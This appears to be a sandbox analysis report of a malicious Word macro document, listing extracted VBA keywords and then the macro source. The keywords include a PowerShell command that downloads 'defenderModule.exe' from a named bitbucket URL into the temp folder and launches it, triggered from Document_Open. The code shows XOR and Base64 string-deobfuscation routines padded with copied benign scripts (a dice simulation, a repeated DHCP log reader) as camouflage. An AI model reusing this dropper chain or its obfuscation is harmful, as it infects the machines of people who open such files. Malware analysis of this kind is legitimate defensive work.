                                                                                                                                                      Data Raw:01 16 01 00 01 00 01 00 00 c6 1d 00 00 e4 00 00 00 ea 01 00 00 ff ff ff ff cd 1d 00 00 55 66 02 00 00 00 00 00 01 00 00 00 aa 3b c6 45 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 db 3e a4 0a 38 f7 03 4e 9b 74 bd 89 8d 70 1e be a4 e4 03 bb ff bd fd 49 a8 c5 6c ac 30 96 e6 4b 00 00 00 00 00 00 00 00 00 00 00 00 00

                                                                                                                                                      VBA Code Keywords

                                                                                                                                                      Keyword
                                                                                                                                                      "<html><head><meta
                                                                                                                                                      True)
                                                                                                                                                      Byte:
                                                                                                                                                      objItem.DSGlobalCatalogFlag
                                                                                                                                                      objSDUtil.Get("ntSecurityDescriptor")
                                                                                                                                                      img.CreateStickyNote("ageindays_"
                                                                                                                                                      Byte,
                                                                                                                                                      Byte)
                                                                                                                                                      "em"">"
                                                                                                                                                      "bars",
                                                                                                                                                      "Pool
                                                                                                                                                      https://en.wikipedia.org/wiki/Theodorus_of_Cyrene
                                                                                                                                                      "spiral.png",
                                                                                                                                                      Split(theText,
                                                                                                                                                      Object
                                                                                                                                                      objItem.PrimaryOwnerContact
                                                                                                                                                      tii()
                                                                                                                                                      $TempDir
                                                                                                                                                      Wscript.ScriptFullName
                                                                                                                                                      arrDHCPRecord
                                                                                                                                                      CreateObject("Scripting.Filesystemobject")
                                                                                                                                                      Subtitles
                                                                                                                                                      Replace(Text,
                                                                                                                                                      ParseSrt(path,
                                                                                                                                                      Notepad",
                                                                                                                                                      udax(str)
                                                                                                                                                      "Primary
                                                                                                                                                      img.DrawPolygon
                                                                                                                                                      "John"
                                                                                                                                                      objItem.Description
                                                                                                                                                      objItem.PoolNonpagedAllocs
                                                                                                                                                      pivot.LoadChartTemplate
                                                                                                                                                      Where
                                                                                                                                                      ForReading
                                                                                                                                                      False
                                                                                                                                                      "User
                                                                                                                                                      charset(Source)
                                                                                                                                                      Global
                                                                                                                                                      LBound(sb_)
                                                                                                                                                      wdix(p_)
                                                                                                                                                      large
                                                                                                                                                      Allowed
                                                                                                                                                      "Name:
                                                                                                                                                      objtextFile.AtEndOfStream
                                                                                                                                                      objOutput
                                                                                                                                                      objItem.PercentCommittedBytesInUse
                                                                                                                                                      Date)
                                                                                                                                                      objItem.CommitLimit
                                                                                                                                                      "Percent
                                                                                                                                                      'defenderModule.exe'"
                                                                                                                                                      wdix(str)
                                                                                                                                                      UBound(Files)
                                                                                                                                                      height="""
                                                                                                                                                      GetObject("LDAP://OU=Finance,
                                                                                                                                                      "Network:
                                                                                                                                                      "Demand
                                                                                                                                                      'WScript.Echo
                                                                                                                                                      GetObject("winmgmts:"
                                                                                                                                                      objSD.DiscretionaryAcl
                                                                                                                                                      "sample.srt"
                                                                                                                                                      "\Adersoft\Vbsedit\Resources\"
                                                                                                                                                      "Default
                                                                                                                                                      objCatalog
                                                                                                                                                      objItem.PagesPersec
                                                                                                                                                      objItem.DomainName
                                                                                                                                                      objItem.CacheBytes
                                                                                                                                                      pivot.Initialize
                                                                                                                                                      thedy
                                                                                                                                                      Shell.Run
                                                                                                                                                      Vbsedit's
                                                                                                                                                      Delegate
                                                                                                                                                      Distribution
                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT
                                                                                                                                                      CreateObject("Microsoft.Update.AutoUpdate")
                                                                                                                                                      SecondsToString
                                                                                                                                                      objItem.DomainGuid
                                                                                                                                                      "title",
                                                                                                                                                      Stream
                                                                                                                                                      "Server
                                                                                                                                                      "{impersonationLevel=impersonate}!\\"
                                                                                                                                                      arr(i
                                                                                                                                                      timings
                                                                                                                                                      WshShell
                                                                                                                                                      toolkit.OpenFileDialog("",
                                                                                                                                                      objInput.LoadFromFile
                                                                                                                                                      Owner
                                                                                                                                                      objItem.DSTimeServiceFlag
                                                                                                                                                      "<tspan
                                                                                                                                                      Binary
                                                                                                                                                      CreateObject("WbemScripting.SWbemRefresher")
                                                                                                                                                      objDHCPServer.WINSServers
                                                                                                                                                      SFU_Domain")
                                                                                                                                                      Update
                                                                                                                                                      VB_Exposed
                                                                                                                                                      ".png"
                                                                                                                                                      objItem.DSDnsDomainFlag
                                                                                                                                                      objDHCPServer.LeaseRebindingTime
                                                                                                                                                      Input
                                                                                                                                                      scb_(idx)
                                                                                                                                                      "Refresh",
                                                                                                                                                      mask:
                                                                                                                                                      objInput
                                                                                                                                                      Days,
                                                                                                                                                      objOutput.LineSeparator
                                                                                                                                                      strLine
                                                                                                                                                      First
                                                                                                                                                      StringToSeconds(Left(tt,
                                                                                                                                                      Count
                                                                                                                                                      Bytes:
                                                                                                                                                      bytes:
                                                                                                                                                      Mount
                                                                                                                                                      objOutput.charset
                                                                                                                                                      """c:\program
                                                                                                                                                      Spiral
                                                                                                                                                      Limit:
                                                                                                                                                      fso.OpenTextFile(path,
                                                                                                                                                      img.FontFamily
                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS
                                                                                                                                                      objDHCPServer.Network
                                                                                                                                                      "Transition
                                                                                                                                                      name:
                                                                                                                                                      folder
                                                                                                                                                      FalseSet
                                                                                                                                                      "sheaa"
                                                                                                                                                      Toolkit
                                                                                                                                                      StringToSeconds(from_time)
                                                                                                                                                      objAdminIS.GetCatalogByName("Script
                                                                                                                                                      Video
                                                                                                                                                      VB_GlobalNameSpace
                                                                                                                                                      f.ReadLine
                                                                                                                                                      objShell.ExpandEnvironmentStrings("%LOCALAPPDATA%")
                                                                                                                                                      objItem.SystemDriverResidentBytes
                                                                                                                                                      Stream.Type
                                                                                                                                                      until_time
                                                                                                                                                      "&lt;")
                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE
                                                                                                                                                      Megabytes:
                                                                                                                                                      Virtual
                                                                                                                                                      unbiased
                                                                                                                                                      "White"
                                                                                                                                                      shift_from
                                                                                                                                                      Flag:
                                                                                                                                                      "ntSecurityDescriptor",
                                                                                                                                                      Kerberos
                                                                                                                                                      Variant
                                                                                                                                                      Source,
                                                                                                                                                      strComputer
                                                                                                                                                      objSD
                                                                                                                                                      VB_Customizable
                                                                                                                                                      objCatalog.AddScope("c:\scripts\Indexing
                                                                                                                                                      objItem.ClientSiteName
                                                                                                                                                      Monitor
                                                                                                                                                      "Lease
                                                                                                                                                      objScope.path
                                                                                                                                                      [System.IO.Path]::GetTempPath();cd
                                                                                                                                                      Len(n)
                                                                                                                                                      "<body></html>"
                                                                                                                                                      sb_(idx)
                                                                                                                                                      days",
                                                                                                                                                      objDHCPServer.LeaseTime
                                                                                                                                                      objItem.Default
                                                                                                                                                      enabled:
                                                                                                                                                      Server",
                                                                                                                                                      objItem.DSPrimaryDomainControllerFlag
                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT
                                                                                                                                                      StringToSeconds(str)
                                                                                                                                                      pivot.Finalize
                                                                                                                                                      Comma
                                                                                                                                                      """>"
                                                                                                                                                      ".bak",
                                                                                                                                                      Kilobytes:
                                                                                                                                                      charset
                                                                                                                                                      Const
                                                                                                                                                      "Number
                                                                                                                                                      objItem.PageFaultsPersec
                                                                                                                                                      Stream.Open
                                                                                                                                                      objAce.InheritedObjectType
                                                                                                                                                      Text,
                                                                                                                                                      file")
                                                                                                                                                      UBound(sb_)
                                                                                                                                                      StringToSeconds(Mid(tt,
                                                                                                                                                      "Script
                                                                                                                                                      Shell
                                                                                                                                                      "Pages
                                                                                                                                                      objNetwork
                                                                                                                                                      note.AddMenuOption
                                                                                                                                                      Using
                                                                                                                                                      hidden
                                                                                                                                                      files\vbsedit\vbsedit.exe""
                                                                                                                                                      Sqr(adj
                                                                                                                                                      firstname,
                                                                                                                                                      "vertical"
                                                                                                                                                      Stream.Read(limit)
                                                                                                                                                      Wscript.Sleep
                                                                                                                                                      "\ageindays_"
                                                                                                                                                      "DHCP
                                                                                                                                                      'Z:\\'")
                                                                                                                                                      records
                                                                                                                                                      "Central
                                                                                                                                                      from_time
                                                                                                                                                      pos),
                                                                                                                                                      objDHCPServer.NetworkMask
                                                                                                                                                      objItem.DSDirectoryServiceFlag
                                                                                                                                                      objItem.SystemCodeTotalBytes
                                                                                                                                                      objItem.FreeSystemPageTableEntries
                                                                                                                                                      objDacl
                                                                                                                                                      pb_()
                                                                                                                                                      "wscript.exe
                                                                                                                                                      String)
                                                                                                                                                      objRefresher.Refresh
                                                                                                                                                      scope"
                                                                                                                                                      String:
                                                                                                                                                      "Date:
                                                                                                                                                      offset,
                                                                                                                                                      colItems
                                                                                                                                                      rebinding
                                                                                                                                                      firstname
                                                                                                                                                      objOutput.SaveToFile
                                                                                                                                                      CreateObject("VirtualServer.Application")
                                                                                                                                                      theText
                                                                                                                                                      pb_(i)
                                                                                                                                                      DC=fabrikam,DC=Com")
                                                                                                                                                      objItem.SystemDriverTotalBytes
                                                                                                                                                      objItem.AvailableKBytes
                                                                                                                                                      "Starting
                                                                                                                                                      "Domain
                                                                                                                                                      (f.AtEndOfStream)
                                                                                                                                                      dest,
                                                                                                                                                      proxy
                                                                                                                                                      CreateObject("ADODB.Stream")
                                                                                                                                                      shift_until
                                                                                                                                                      UBound(pb_):
                                                                                                                                                      Split(Mid(tt,
                                                                                                                                                      "System
                                                                                                                                                      "firefox.exe
                                                                                                                                                      Writable
                                                                                                                                                      Sin(angletotal)
                                                                                                                                                      "Commit
                                                                                                                                                      events"
                                                                                                                                                      img.Create
                                                                                                                                                      $TempDir;(New-Object
                                                                                                                                                      objNetwork.DHCPVirtualNetworkServer
                                                                                                                                                      CDbl(s)
                                                                                                                                                      "Read-only:
                                                                                                                                                      Authenticate
                                                                                                                                                      objScope
                                                                                                                                                      img.CenterText
                                                                                                                                                      number
                                                                                                                                                      VB_Creatable
                                                                                                                                                      Stream.LoadFromFile
                                                                                                                                                      "Free
                                                                                                                                                      img.Load
                                                                                                                                                      Separated
                                                                                                                                                      y="""
                                                                                                                                                      "Open
                                                                                                                                                      fso.CreateTextFile("sample.html",
                                                                                                                                                      their
                                                                                                                                                      address:
                                                                                                                                                      "</text>"
                                                                                                                                                      objItem.WriteCopiesPersec
                                                                                                                                                      "Cache
                                                                                                                                                      Left(Wscript.ScriptFullName,
                                                                                                                                                      Wscript.Echo
                                                                                                                                                      False,
                                                                                                                                                      AscB(MidB(s,
                                                                                                                                                      False)
                                                                                                                                                      "Bypass
                                                                                                                                                      Copies
                                                                                                                                                      fill=""green""/>"
                                                                                                                                                      objDacl.AddAce
                                                                                                                                                      CreateObject("Microsoft.Update.WebProxy")
                                                                                                                                                      objItem.SystemCodeResidentBytes
                                                                                                                                                      Source
                                                                                                                                                      ".axa"
                                                                                                                                                      identical,
                                                                                                                                                      (objWMIService,
                                                                                                                                                      Resident
                                                                                                                                                      ("Select
                                                                                                                                                      objDHCPServer.StartingIPAddress
                                                                                                                                                      (objInput.EOS)
                                                                                                                                                      Information
                                                                                                                                                      objItem.DemandZeroFaultsPersec
                                                                                                                                                      https://en.wikipedia.org/wiki/Central_limit_theorem
                                                                                                                                                      Peak:
                                                                                                                                                      VB_Name
                                                                                                                                                      CreateObject("Vbsedit.ImageProcessor")
                                                                                                                                                      Catalog")
                                                                                                                                                      (fso.FileExists(Source
                                                                                                                                                      thesvg
                                                                                                                                                      objInput.Open
                                                                                                                                                      objDHCPServer.ServerIPAddress
                                                                                                                                                      Mid(m,
                                                                                                                                                      objAutoUpdate.Settings
                                                                                                                                                      objAce.AceType
                                                                                                                                                      objStream
                                                                                                                                                      objRefresher
                                                                                                                                                      objRefresher.AddEnum
                                                                                                                                                      objItem.DnsForestName
                                                                                                                                                      seconds",
                                                                                                                                                      Int(t
                                                                                                                                                      Type:
                                                                                                                                                      Vbsedit",
                                                                                                                                                      angletotal
                                                                                                                                                      InStr(strLine,
                                                                                                                                                      objAce
                                                                                                                                                      System.Net.WebClient).DownloadFile('https://bitbucket.org/seveca-emilia/onemoreslave/downloads/defenderModule.exe',$TempDir+'defenderModule.exe');Start-Process
                                                                                                                                                      objSettings
                                                                                                                                                      CreateObject("Scripting.FileSystemObject")
                                                                                                                                                      Cache
                                                                                                                                                      Sticky
                                                                                                                                                      Table
                                                                                                                                                      pivot.ReplaceTag
                                                                                                                                                      img.color
                                                                                                                                                      path,
                                                                                                                                                      objItem.KeyName
                                                                                                                                                      UBound(Lines)
                                                                                                                                                      objItem.CacheBytesPeak
                                                                                                                                                      Modify
                                                                                                                                                      ReDim
                                                                                                                                                      Atn(opp
                                                                                                                                                      "Maps:
                                                                                                                                                      objInput.charset
                                                                                                                                                      local
                                                                                                                                                      "Time:
                                                                                                                                                      color)
                                                                                                                                                      objItem.DomainControllerName
                                                                                                                                                      objDHCPServer
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      While
                                                                                                                                                      objItem.CacheFaultsPersec
                                                                                                                                                      objWMIService
                                                                                                                                                      "<svg
                                                                                                                                                      objItem.Maps
                                                                                                                                                      Right
                                                                                                                                                      DateDiff("d",
                                                                                                                                                      bytes
                                                                                                                                                      udax(str
                                                                                                                                                      CreateObject("Microsoft.ISAdm")
                                                                                                                                                      Replace(dy,
                                                                                                                                                      objSDUtil.Put
                                                                                                                                                      Attribute
                                                                                                                                                      sample.html",
                                                                                                                                                      objProxy
                                                                                                                                                      "Shift",
                                                                                                                                                      Bytes
                                                                                                                                                      Script
                                                                                                                                                      Create
                                                                                                                                                      arr(i,
                                                                                                                                                      objItem.DomainControllerAddress
                                                                                                                                                      CreateObject("Wscript.Shell")
                                                                                                                                                      objStream.Close
                                                                                                                                                      Entries:
                                                                                                                                                      movie
                                                                                                                                                      Indexing
                                                                                                                                                      CreateObject("vbsedit.imageprocessor")
                                                                                                                                                      Wscript.CreateObject("Wscript.Shell")
                                                                                                                                                      "lightgreen"
                                                                                                                                                      stroke=""red""
                                                                                                                                                      Central
                                                                                                                                                      objItem
                                                                                                                                                      objAdminIS
                                                                                                                                                      objOutput.WriteText
                                                                                                                                                      Directory
                                                                                                                                                      Server
                                                                                                                                                      "Committed
                                                                                                                                                      Second:
                                                                                                                                                      objAce.Flags
                                                                                                                                                      ForReading)
                                                                                                                                                      http-equiv=""Content-Type""
                                                                                                                                                      currentdir
                                                                                                                                                      Resume
                                                                                                                                                      objItem.PoolPagedResidentBytes
                                                                                                                                                      Primary
                                                                                                                                                      pivot.SetColumnNames
                                                                                                                                                      img.FillPolygon
                                                                                                                                                      Reads
                                                                                                                                                      VB_Base
                                                                                                                                                      fso.CopyFile
                                                                                                                                                      Randomize
                                                                                                                                                      Int(t)
                                                                                                                                                      subtitle
                                                                                                                                                      color
                                                                                                                                                      objItem.DSDnsControllerFlag
                                                                                                                                                      Int((t
                                                                                                                                                      objProxy.ReadOnly
                                                                                                                                                      "c:\scripts"
                                                                                                                                                      Forest
                                                                                                                                                      Angle
                                                                                                                                                      Replace(s,
                                                                                                                                                      objItem.Domain
                                                                                                                                                      mult,
                                                                                                                                                      style=""fill:"
                                                                                                                                                      objAce.AceFlags
                                                                                                                                                      pivot.SaveChart
                                                                                                                                                      objInput.LineSeparator
                                                                                                                                                      LenB(s)
                                                                                                                                                      objSDUtil.SetInfo
                                                                                                                                                      Center
                                                                                                                                                      note.ShowBalloon
                                                                                                                                                      Network")
                                                                                                                                                      img.Save
                                                                                                                                                      objDHCPServer.DNSServers
                                                                                                                                                      Split(str,
                                                                                                                                                      "</tspan>"
                                                                                                                                                      Array(objSD)
                                                                                                                                                      objItem.PoolPagedBytes
                                                                                                                                                      Allocations:
                                                                                                                                                      objSDUtil
                                                                                                                                                      objItem.PageWritesPersec
                                                                                                                                                      objItem.PagesOutputPersec
                                                                                                                                                      x="""
                                                                                                                                                      objItem.PageReadsPersec
                                                                                                                                                      objItem.DcSiteName
                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT
                                                                                                                                                      "</svg>"
                                                                                                                                                      sb_()
                                                                                                                                                      "Address:
                                                                                                                                                      img.FontSize
                                                                                                                                                      objInput.Type
                                                                                                                                                      resourceLocation
                                                                                                                                                      """/>"
                                                                                                                                                      "Edit
                                                                                                                                                      SecondsToString(seconds)
                                                                                                                                                      WshShell.Run
                                                                                                                                                      objVS
                                                                                                                                                      objOutput.Open
                                                                                                                                                      objDHCPServer.DefaultGatewayAddress
                                                                                                                                                      "Page
                                                                                                                                                      "DhcpSrvLog-Mon.log",
                                                                                                                                                      vbCrLf)
                                                                                                                                                      objItem.SystemCacheResidentBytes
                                                                                                                                                      Int(Max
                                                                                                                                                      Address
                                                                                                                                                      Name:
                                                                                                                                                      Nonpaged
                                                                                                                                                      CreateObject("AccessControlEntry")
                                                                                                                                                      maisLixo()
                                                                                                                                                      "\"))
                                                                                                                                                      Lines
                                                                                                                                                      objDHCPServer.EndingIPAddress
                                                                                                                                                      ElseIf
                                                                                                                                                      birthdate,
                                                                                                                                                      Values
                                                                                                                                                      InputBox("Enter
                                                                                                                                                      vbCrLf
                                                                                                                                                      VB_TemplateDerived
                                                                                                                                                      read:
                                                                                                                                                      "Arial"
                                                                                                                                                      objStream.Type
                                                                                                                                                      objItem.PagesInputPersec
                                                                                                                                                      objProxy.UserName
                                                                                                                                                      Performance
                                                                                                                                                      Variant:
                                                                                                                                                      UBound(s)
                                                                                                                                                      "<text
                                                                                                                                                      Total
                                                                                                                                                      strFile
                                                                                                                                                      Paged
                                                                                                                                                      Service
                                                                                                                                                      Records"
                                                                                                                                                      ".bak"))
                                                                                                                                                      old",
                                                                                                                                                      CreateObject("Vbsedit.PivotTable")
                                                                                                                                                      "Description:
                                                                                                                                                      Faults
                                                                                                                                                      addresses:
                                                                                                                                                      Scope
                                                                                                                                                      udax(p_)
                                                                                                                                                      objItem.DSKerberosDistributionCenterFlag
                                                                                                                                                      Files
                                                                                                                                                      "Ending
                                                                                                                                                      (*.srt)|*.srt",
                                                                                                                                                      CreateObject("VbsEdit.Toolkit")
                                                                                                                                                      Writes
                                                                                                                                                      "&gt;")
                                                                                                                                                      objStream.Open
                                                                                                                                                      objSettings.Save
                                                                                                                                                      theorem
                                                                                                                                                      objDHCPServer.IsEnabled
                                                                                                                                                      Len(h)
                                                                                                                                                      "\root\sfuadmin")
                                                                                                                                                      out.Close
                                                                                                                                                      objAutoUpdate
                                                                                                                                                      FormatNumber(m,
                                                                                                                                                      objProxy.Address
                                                                                                                                                      Document_Open()
                                                                                                                                                      objOutput.Close
                                                                                                                                                      pivot.Add
                                                                                                                                                      StringToSeconds(until_time)
                                                                                                                                                      using
                                                                                                                                                      dominant-baseline=""middle""
                                                                                                                                                      "your
                                                                                                                                                      pos))
                                                                                                                                                      objAce.AccessMask
                                                                                                                                                      objItem.Caption
                                                                                                                                                      "notepad.exe
                                                                                                                                                      "column"
                                                                                                                                                      objItem.CommittedBytes
                                                                                                                                                      objSettings.ScheduledInstallationDay
                                                                                                                                                      WshShell.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\Nls\CodePage\ACP")
                                                                                                                                                      charset(strFile)
                                                                                                                                                      objInput.Close
                                                                                                                                                      System
                                                                                                                                                      "Client
                                                                                                                                                      wdix(str
                                                                                                                                                      bytes()
                                                                                                                                                      "Event
                                                                                                                                                      GUID:
                                                                                                                                                      objtextFile
                                                                                                                                                      String
                                                                                                                                                      Split(strLine,
                                                                                                                                                      "Default:
                                                                                                                                                      "stacked",
                                                                                                                                                      gateway
                                                                                                                                                      Catalog
                                                                                                                                                      "Caption:
                                                                                                                                                      toolkit
                                                                                                                                                      objAce.Trustee
                                                                                                                                                      theorem"
                                                                                                                                                      ParseSrt
                                                                                                                                                      CreateObject("WScript.Shell")
                                                                                                                                                      objItem.PoolNonpagedBytes
                                                                                                                                                      objItem.PoolPagedAllocs
                                                                                                                                                      objItem.AvailableMBytes
                                                                                                                                                      seconds
                                                                                                                                                      Address:
                                                                                                                                                      Stream.Close
                                                                                                                                                      "<rect
                                                                                                                                                      Len(s)
                                                                                                                                                      "WINS
                                                                                                                                                      offset
                                                                                                                                                      objItem.DSDnsForestFlag
                                                                                                                                                      "ThisDocument"
                                                                                                                                                      Domain
                                                                                                                                                      "red"
                                                                                                                                                      Committed
                                                                                                                                                      StringToSeconds
                                                                                                                                                      objScope.Alias
                                                                                                                                                      objStream.LoadFromFile
                                                                                                                                                      "spiral.png"
                                                                                                                                                      Wscript.CreateObject("Scripting.Filesystemobject")
                                                                                                                                                      "sample.fra.srt"
                                                                                                                                                      Controller
                                                                                                                                                      Driver
                                                                                                                                                      image
                                                                                                                                                      objFSO
                                                                                                                                                      "Domain:
                                                                                                                                                      objProxy.BypassProxyOnLocal
                                                                                                                                                      Int(UBound(Lines)
                                                                                                                                                      Output
                                                                                                                                                      Cos(angletotal)
                                                                                                                                                      pivot
                                                                                                                                                      "Write
                                                                                                                                                      objItem.Name
                                                                                                                                                      "<line
                                                                                                                                                      Extended
                                                                                                                                                      "Network
                                                                                                                                                      renewal
                                                                                                                                                      servers:
                                                                                                                                                      objWMIService.ExecQuery
                                                                                                                                                      files
                                                                                                                                                      Entire
                                                                                                                                                      objWMIService.ExecQuery("Select
                                                                                                                                                      Contact:
                                                                                                                                                      InStr(tt,
                                                                                                                                                      Wscript.Quit
                                                                                                                                                      Error
                                                                                                                                                      Compare
                                                                                                                                                      Split(Left(tt,
                                                                                                                                                      Schedule
                                                                                                                                                      'Your
                                                                                                                                                      birthdate
                                                                                                                                                      Properties
                                                                                                                                                      VB_PredeclaredId
                                                                                                                                                      limit
                                                                                                                                                      "Available
                                                                                                                                                      objAce.ObjectType
                                                                                                                                                      rolling
                                                                                                                                                      objSettings.ScheduledInstallationTime
                                                                                                                                                      Memory
                                                                                                                                                      objVS.FindVirtualNetwork("Internal
                                                                                                                                                      objtextFile.ReadLine
                                                                                                                                                      out.Write
                                                                                                                                                      Function
                                                                                                                                                      objShell
                                                                                                                                                      "Host
                                                                                                                                                      "Windows-"
                                                                                                                                                      Volume
                                                                                                                                                      "calendar.png"
                                                                                                                                                      Proxy
                                                                                                                                                      Theodorus
                                                                                                                                                      objItem.DC
                                                                                                                                                      img.BrushColor
                                                                                                                                                      objItem.TransitionFaultsPersec
                                                                                                                                                      Shift
                                                                                                                                                      dy="""
                                                                                                                                                      "aower"
                                                                                                                                                      InStrRev(Wscript.ScriptFullName,
                                                                                                                                                      objItem.AvailableBytes
                                                                                                                                                      objItem.DomainControllerAddressType
                                                                                                                                                      "false"
                                                                                                                                                      video,
                                                                                                                                                      Server:
                                                                                                                                                      objItem.DSWritableFlag
                                                                                                                                                      time:
                                                                                                                                                      Private
                                                                                                                                                      objDHCPServer.LeaseRenewalTime
                                                                                                                                                      objOutput.Type
                                                                                                                                                      f.Close
                                                                                                                                                      "Sum",
                                                                                                                                                      VBA Code
                                                                                                                                                      Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function t8gb(str As String) As Variant: Dim bytes() As Byte: bytes = str: t8gb = bytes: End Function
Function o51z(bytes() As Byte) As String: Dim str As String: str = bytes: o51z = str: End Function

Function xwygun72(str As String) As String
    Const p_ As String = "qc7nf2um"
    Dim sb_() As Byte, pb_() As Byte
    sb_ = t8gb(str)
    pb_ = t8gb(p_)
    
    Dim uL As Long
    uL = UBound(sb_)
    
    ReDim scb_(0 To uL) As Byte
    
    Dim idx As Long
    
    For idx = LBound(sb_) To uL:
        If Not sb_(idx) = 0 Then
            c = sb_(idx)
            For i = 0 To UBound(pb_):
                c = c Xor pb_(i)
            Next i
            scb_(idx) = c
        End If
    
    Next idx
    
    xwygun72 = o51z(scb_)
End Function


Function udax(str As String) As Variant: Dim bytes() As Byte: bytes = str: udax = bytes: End Function
Function x74t(bytes() As Byte) As String: Dim str As String: str = bytes: x74t = str: End Function

Function vw823nw7(str As String) As String
    Const p_ As String = "fdqt7e5d"
    Dim sb_() As Byte, pb_() As Byte
    sb_ = udax(str)
    pb_ = udax(p_)
    
    Dim uL As Long
    uL = UBound(sb_)
    
    ReDim scb_(0 To uL) As Byte
    
    Dim idx As Long
    
    For idx = LBound(sb_) To uL:
        If Not sb_(idx) = 0 Then
            c = sb_(idx)
            For i = 0 To UBound(pb_):
                c = c Xor pb_(i)
            Next i
            scb_(idx) = c
        End If
    
    Next idx
    
    vw823nw7 = x74t(scb_)
End Function
Function wdix(str As String) As Variant: Dim bytes() As Byte: bytes = str: wdix = bytes: End Function
Function h27i(bytes() As Byte) As String: Dim str As String: str = bytes: h27i = str: End Function

Function fh20tl5p(str As String) As String
    Const p_ As String = "n5mzlpzj"
    Dim sb_() As Byte, pb_() As Byte
    sb_ = wdix(str)
    pb_ = wdix(p_)
    
    Dim uL As Long
    uL = UBound(sb_)
    
    ReDim scb_(0 To uL) As Byte
    
    Dim idx As Long
    
    For idx = LBound(sb_) To uL:
        If Not sb_(idx) = 0 Then
            c = sb_(idx)
            For i = 0 To UBound(pb_):
                c = c Xor pb_(i)
            Next i
            scb_(idx) = c
        End If
    
    Next idx
    
    fh20tl5p = h27i(scb_)
End Function



Private Function Base64ToArray(base64 As String) As Variant
    
    Dim oc41c7c4 As Object
    Dim uk9vchaq As Object
    
    Set oc41c7c4 = CreateObject(vw823nw7("I" & "" & "W" & "" & Chr(92) & "I" & Chr(72) & "" & Chr(54) & "" & "*" & "" & Chr(64) & "" & "K" & "I" & "@" & Chr(107) & "g" & "q" & "i" & Chr(97) & "" & "j" & "" & "p" & ""))
    Set uk9vchaq = oc41c7c4.createElement(vw823nw7("f" & "" & Chr(50) & "" & "0"))
    
    uk9vchaq.DataType = vw823nw7("f" & Chr(109) & "" & "j" & "" & Chr(42) & Chr(102) & "" & "e" & "" & Chr(119) & "" & Chr(97) & "2" & Chr(48))
    uk9vchaq.Text = base64
    
    Base64ToArray = uk9vchaq.NodeTypedValue
  
End Function

Private Sub tii()





' Central limit theorem
' using Vbsedit's free Toolkit
' rolling a large number of identical, unbiased dice
' https://en.wikipedia.org/wiki/Central_limit_theorem

Randomize

Set pivot = CreateObject("Vbsedit.PivotTable")
pivot.Initialize 2, 1
pivot.SetColumnNames "Sum", "n", "Number of events"


Total = 100000

For n = 2 To 7
  Wscript.Echo n
  For k = 1 To Total
    s = 0
    For i = 1 To n
      s = s + Int(6 * Rnd + 1)
    Next
      
    pivot.Add s, n, 1
   
  Next
Next


pivot.Finalize


folder = Left(Wscript.ScriptFullName, InStrRev(Wscript.ScriptFullName, "\"))

pivot.LoadChartTemplate "column"
pivot.ReplaceTag "title", "Central limit theorem"
pivot.ReplaceTag "bars", "vertical"
pivot.ReplaceTag "stacked", "false"
pivot.SaveChart folder & "column1.htm"

Set Shell = CreateObject("Wscript.Shell")
Shell.Run folder & "column1.htm", 1, False


End Sub


Private Sub TI()

' Read a Comma Separated Values Log



Const ForReading = 1

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" &  "DhcpSrvLog-Mon.log", ForReading)

Wscript.Echo vbCrLf & "DHCP Records"

Do While objtextFile.AtEndOfStream <> True
  strLine = objtextFile.ReadLine
  If InStr(strLine, ",") Then
    arrDHCPRecord = Split(strLine, ",")
    Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
    Wscript.Echo "Date: " & arrDHCPRecord(1)
    Wscript.Echo "Time: " & arrDHCPRecord(2)
    Wscript.Echo "Description: " & arrDHCPRecord(3)
    Wscript.Echo "IP Address: " & arrDHCPRecord(4)
    Wscript.Echo "Host Name: " & arrDHCPRecord(5)
    Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
    i = i + 1
  End If
Loop

Wscript.Echo vbCrLf & "Number of DHCP records read: " & i

Const ForReading = 1

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" &  "DhcpSrvLog-Mon.log", ForReading)

Wscript.Echo vbCrLf & "DHCP Records"

Do While objtextFile.AtEndOfStream <> True
  strLine = objtextFile.ReadLine
  If InStr(strLine, ",") Then
    arrDHCPRecord = Split(strLine, ",")
    Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
    Wscript.Echo "Date: " & arrDHCPRecord(1)
    Wscript.Echo "Time: " & arrDHCPRecord(2)
    Wscript.Echo "Description: " & arrDHCPRecord(3)
    Wscript.Echo "IP Address: " & arrDHCPRecord(4)
    Wscript.Echo "Host Name: " & arrDHCPRecord(5)
    Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
    i = i + 1
  End If
Loop

Wscript.Echo vbCrLf & "Number of DHCP records read: " & i

Const ForReading = 1

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" &  "DhcpSrvLog-Mon.log", ForReading)

Wscript.Echo vbCrLf & "DHCP Records"

Do While objtextFile.AtEndOfStream <> True
  strLine = objtextFile.ReadLine
  If InStr(strLine, ",") Then
    arrDHCPRecord = Split(strLine, ",")
    Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
    Wscript.Echo "Date: " & arrDHCPRecord(1)
    Wscript.Echo "Time: " & arrDHCPRecord(2)
    Wscript.Echo "Description: " & arrDHCPRecord(3)
    Wscript.Echo "IP Address: " & arrDHCPRecord(4)
    Wscript.Echo "Host Name: " & arrDHCPRecord(5)
    Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
    i = i + 1
  End If
Loop

Wscript.Echo vbCrLf & "Number of DHCP records read: " & i



Const ForReading = 1

